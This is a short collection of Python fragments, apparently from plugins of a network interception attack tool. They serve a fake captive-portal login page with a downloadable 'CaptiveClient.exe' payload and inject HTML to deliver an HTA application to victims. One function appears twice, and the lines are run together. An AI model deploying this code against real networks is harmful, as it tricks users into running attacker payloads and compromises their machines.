def serve_portal(self): self.portalurl = 'http://{}/portal.html'.format(self.hostname) from core.servers.HTTP import HTTP HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html') HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename']) self.tree_info.append("Portal login served by built-in HTTP server.")
def initialize(self, options): self.bar_text = options.text self.ip = options.ip self.hta = options.hta_app.split('/')[-1] Inject.initialize(self, options) self.html_payload = self.get_payload() from core.servers.HTTP import HTTP HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
def serve_portal(self): self.portalurl = 'http://{}/portal.html'.format(self.hostname) from core.servers.HTTP import HTTP HTTP.add_static_endpoint('portal.html', 'text/html', './config/captive/portal.html') HTTP.add_static_endpoint('CaptiveClient.exe', 'application/octet-stream', self.config['Captive']['PayloadFilename']) self.tree_info.append("Portal login served by built-in HTTP server.")